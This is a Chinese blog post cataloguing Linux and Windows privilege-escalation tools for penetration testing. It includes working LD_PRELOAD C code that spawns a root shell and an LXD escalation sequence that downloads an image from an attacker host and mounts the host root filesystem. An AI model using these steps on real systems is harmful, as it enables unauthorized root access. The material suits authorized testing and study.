首页 > 系统相关 >WEB渗透Linux提权篇-提权工具合集

WEB渗透Linux提权篇-提权工具合集

时间:2024-09-02 13:22:42浏览次数:8  
标签:WEB github Windows linux 提权 https Linux com

 往期文章

WEB渗透Linux提权篇-环境变量提权-CSDN博客

工具合集

工具名称下载地址工具描述
BadPotatohttps://github.com/BeichenDream/BadPotatoWindows 权限提升 BadPotato
Databasetoolshttps://github.com/Hel10-Web/Databasetools一款用Go语言编写的数据库自动化提权工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis
traitorhttps://github.com/liamg/traitorLinux自动提权
hacking8https://i.hacking8.com/tiquan/在线提权建议
PEASS-nghttps://github.com/carlospolop/PEASS-ngPEASS-权限提升令人敬畏的脚本套件
kernelpophttps://github.com/spencerdodd/kernelpopkernel privilege escalation enumeration and exploitation framework
Kernelhubhttps://github.com/Ascotbe/Kernelhubinux、macOS、Windows 内核提权漏洞集合,带编译环境、demo GIF 地图、漏洞详情、可执行文件(提权漏洞合集)
linux-exploit-suggesterhttps://github.com/The-Z-Labs/linux-exploit-suggesterLinux privilege escalation auditing tool
UACMEhttps://github.com/hfiref0x/UACME通过滥用内置的 Windows AutoElevate 后门来击败 Windows 用户帐户控制。 x86-32/x64 Windows 7/8/8.1/10/11(客户端,但某些方法也适用于服务器版本)
LinuxTQhttps://github.com/Getshell/LinuxTQLinux提权方法论
Linux-Exploit-Suggesterhttps://github.com/mzet-/linux-exploit-suggester将目标补丁级别与 Linux 漏洞进行比较 数据库,以检测目标上可能缺失的补丁
linux-kernel-exploitshttps://github.com/SecWiki/linux-kernel-exploitsLinux提权集合
windows提权集合https://github.com/SecWiki/windows-kernel-exploitswindows-kernel-exploits Windows平台提权漏洞集合
win-exp-suggesterhttps://github.com/klsfct/getshell/tree/master/win-exp-suggester将目标补丁级别与 Microsoft 漏洞进行比较 数据库,以检测目标上可能缺失的补丁
CoercedPotatohttps://github.com/hackvens/CoercedPotato通过在Windows 10、Windows 11和Server 2022上滥用SeImpersonatePrivilege特权可以从LOCAL/NETWORK SERVICE提升为SYSTEM。
dll_hijackhttps://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijackdll劫持工具

 windows、Linux、Mac提权脚本整理:夸克网盘分享

 

一些检测工具

用于检查可执行文件属性的 bash 脚本(如 PIE、RELRO、PaX、Canaries、ASLR、Fortify Source)

https://github.com/slimm609/checksec.sh

枚举基本系统信息并搜索常见的权限提升向量,例如世界可写文件、错误配置、明文密码和适用的漏洞利用

http://www.securitysift.com/download/linuxprivchecker.py

检查文件权限、cron 作业(如果可见)、弱凭据等

https://github.com/rebootuser/LinEnum

提权脚本

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

枚举工具

https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/AlessandroZ/BeRoot
https://github.com/pentestmonkey/unix-privesc-check

Linux-Exploit-Suggester

https://github.com/mzet-/linux-exploit-suggester
https://github.com/PenturaLabs/Linux_Exploit_Suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester

LD_Preload提权

  #include <stdio.h>
  #include <sys/types.h>
  #include <stdlib.h>
  void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
  }
>gcc -fPIC -shared -o shell.so shell.c -nostartfiles
>ls -al shell.so
>sudo LD_PRELOAD=/tmp/shell.so find
>id

Lxd提权

查看文件是否存在

>which lxd & >which lxc


攻击机

>git clone https://github.com/saghul/lxd-alpine-builder.git
>cd lxd-alpine-builder
>./build-alpine

搞个web服务提供下载

>python -m SimpleHTTPServer

靶机下载

>wget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
>lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
>lxc image list
>lxc init myimage ignite -c security.privileged=true
>lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
>lxc start ignite
>lxc exec ignite /bin/sh
>id

标签:WEB,github,Windows,linux,提权,https,Linux,com
From: https://blog.csdn.net/qq_59468567/article/details/141815263

相关文章

  • Vmware 上安装部署免费开源NAS系统FreeNAS11.3操作系统(支持CIFS (samba), FTP, NFS,
    说明FreeNAS®于2005年首次跃上互联网,在过去的十年里,它已成为一个家喻户晓的名字,在全球拥有超过1000万次下载和100万次部署。FreeNAS是一套免费的NAS(网络附加存储)服务器解决方案,它基于FreeBSD和Python开发,能够将一台普通的PC转变为功能强大的网络存储服务器。概述类型:NA......
  • 【Linux】————Makefile编写
                                 作者主页:   作者主页                           本篇博客专栏:Linux                ......
  • Linux驱动开发基础(DS18B20温度模块)
    所学来自百问网目录1.DS18B20简介2.硬件设计3.软件设计3.1 存储器介绍3.2 通信时序3.2.1初始化时序3.2.2写时序3.2.3 读时序3.3常用命令4.示例代码4.1驱动代码4.2应用代码4.3Makefile4.4实验效果1.DS18B20简介DS18B20温度传感器具有线路简单......
  • Linux驱动开发基础(IRDA 红外遥控模块)
    所学来自百问网 目录1.红外遥控简介2.硬件设计3.软件设计4.示例代码4.1驱动代码4.2Makefile4.3实验效果1.红外遥控简介红外遥控被广泛应用于家用电器、工业控制和智能仪器系统中,像我们熟知的有电视机盒子遥控器、空调遥控器。红外遥控器系统分为发送端和接收......
  • 179java jsp SSM Springboot基于javaweb的流浪宠物管理系统流浪动物求助宠物领养管理(
    项目技术:Springboot+Maven+Vue等等组成,B/S模式+Maven管理等等。环境需要1.运行环境:最好是javajdk1.8,我们在这个平台上运行的。其他版本理论上也可以。2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA;3.tomcat环境:Tomcat7.x,8.x,9.x版本均可4.硬件环境:windows......
  • Linux系统添加软件快捷方式 (图标)
    Linux系统添加软件快捷方式(图标)背景在Linux系统下安装软件,安装软件后,常常缺少软件的快捷方式,不熟悉Linux系统的同学甚至不知道软件安装的位置,就算知道软件安装位置的同学也会因打开点开一大堆文件夹而头疼,因此,在Linux系统性为常用软件添置快捷方式显得尤为重要。具体方法方法......
  • Linux中 awk命令根据列的索引批量提取列的数据
     001、[root@PC1test]#lsa.txtidx.txt[root@PC1test]#cata.txt0010020030040050060070080090100110120130140150160170180190200210220230240250260270280290300310320330340350360370380390400410420430440450460......
  • 安全:linux用户和组
    一,用户组所在文件:/etc/group二,查看当前登录用户所属的组1,groups[root@blog~]#groupsroot2,id[root@blog~]#iduid=0(root)gid=0(root)groups=0(root)3,lid[root@blog~]#lidNousernamespecified,usingroot.root(gid=0)三,查看指定用户所属的组1,group[r......
  • 前端必知必会-CSSweb字体
    文章目录CSSWeb字体不同的字体格式使用您想要的字体使用粗体文本CSS字体描述符总结CSSWeb字体CSS@font-face规则Web字体允许Web设计人员使用用户计算机上未安装的字体。当您找到/购买了想要使用的字体后,只需将字体文件包含在您的Web服务器上,系统会在......
  • 【2025】基于javaweb的企业仓储库存管理系统(源码+文档+调试+售后)
    该项目含有源码、文档、PPT、图文修改教程、配套开发软件、软件安装教程、项目发布教程、相关文档模板等学习内容。目录一、项目介绍:二、文档学习资料:三、模块截图:四、开发技术与运行环境:五、代码展示:六、数据库表截图:该项目含有源码、文档、PPT、图文修改教程......